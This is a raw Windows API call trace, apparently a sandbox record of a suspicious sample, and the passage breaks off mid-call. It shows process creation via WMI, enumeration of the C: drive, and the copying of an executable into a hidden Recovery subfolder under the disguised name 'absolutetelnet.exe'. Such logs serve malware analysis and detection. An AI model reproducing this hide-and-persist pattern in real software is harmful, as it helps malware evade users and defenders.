[0143.094] IWbemServices:ExecMethod (in: This=0x1bb81560, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa1aac0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa197f0, ppCallResult=0x0) returned 0x0 [0143.360] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27550d8*=0, plFlavor=0x27550dc*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff4, varVal2=0x0), pType=0x27550d8*=19, plFlavor=0x27550dc*=0) returned 0x0 [0143.360] IWbemClassObject:Get (in: This=0x1aa197f0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27550d8*=19, plFlavor=0x27550dc*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff4, varVal2=0x0), pType=0x27550d8*=19, plFlavor=0x27550dc*=0) returned 0x0 [0143.361] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1dc) returned 0x370 [0143.361] GetExitCodeProcess (in: hProcess=0x370, lpExitCode=0x26f9a6c | out: lpExitCode=0x26f9a6c*=0x103) returned 1 [0143.361] CoTaskMemAlloc (cb=0x404) returned 0x1a9db860 [0143.362] QueryFullProcessImageNameA (in: hProcess=0x370, dwFlags=0x0, lpExeName=0x1a9db860, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x1bb7ed88) returned 1 [0143.362] CoTaskMemFree (pv=0x1a9db860) [0143.365] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0143.365] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.365] CoTaskMemFree (pv=0x1a9882a0) [0143.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0143.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0143.366] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bc469f0 [0143.366] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0143.366] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0143.367] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.368] FindClose (in: hFindFile=0x1bc469f0 | out: hFindFile=0x1bc469f0) returned 1 [0143.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0143.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0143.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0143.369] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0143.369] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc469f0 [0143.369] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.369] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x20609a00, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x20609a00, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="d327d5c2-7147-11eb-9862-d731c5aaa7a9", cAlternateFileName="D327D5~1")) returned 1 [0143.369] FindNextFileW (in: hFindFile=0x1bc469f0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.370] FindClose (in: hFindFile=0x1bc469f0 | out: hFindFile=0x1bc469f0) returned 1 [0143.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0143.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0143.370] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", lpFilePart=0x0) returned 0x43 [0143.370] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0143.370] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe", lpFilePart=0x0) returned 0x43 [0143.370] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe"), bFailIfExists=0) returned 1 [0143.432] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\9e3bd0c464004d", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\9e3bd0c464004d", lpFilePart=0x0) returned 0x3f [0143.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0143.433] CreateFileW (lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\9e3bd0c464004d" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\9e3bd0c464004d"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x378 [0143.433] GetFileType (hFile=0x378) returned 0x1 [0143.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0143.433] GetFileType (hFile=0x378) returned 0x1 [0143.434] WriteFile (in: hFile=0x378, lpBuffer=0x2791b10*, nNumberOfBytesToWrite=0x2db, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x2791b10*, lpNumberOfBytesWritten=0x1bb7e978*=0x2db, lpOverlapped=0x0) returned 1 [0143.435] CloseHandle (hObject=0x378) returned 1 [0143.437] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0143.437] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0143.437] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0143.437] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.439] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc6f1e0) returned 0x0 [0143.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f1e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0143.440] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f1e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcda8a0) returned 0x0 [0143.440] WbemDefPath:IUnknown:Release (This=0x1bc6f1e0) returned 0x0 [0143.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcda8a0) returned 0x0 [0143.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0143.440] WbemDefPath:IUnknown:AddRef (This=0x1bcda8a0) returned 0x3 [0143.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0143.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0143.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc6fe60) returned 0x0 [0143.441] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fe60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0143.441] WbemDefPath:IUnknown:Release (This=0x1bc6fe60) returned 0x3 [0143.441] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0143.441] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0143.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0143.441] WbemDefPath:IUnknown:Release (This=0x1bcda8a0) returned 0x2 [0143.441] WbemDefPath:IUnknown:Release (This=0x1bcda8a0) returned 0x1 [0143.441] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0143.441] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0143.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda8a0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcda8a0) returned 0x0 [0143.441] WbemDefPath:IUnknown:AddRef (This=0x1bcda8a0) returned 0x3 [0143.441] WbemDefPath:IUnknown:Release (This=0x1bcda8a0) returned 0x2 [0143.441] WbemDefPath:IWbemPath:SetText (This=0x1bcda8a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0143.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda8a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0143.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda8a0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0143.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda8a0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0143.442] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda8a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0143.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda8a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0143.442] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcda8a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0143.442] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0143.442] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0143.442] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0143.442] IUnknown:Release (This=0x1a943398) returned 0x1 [0143.445] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, 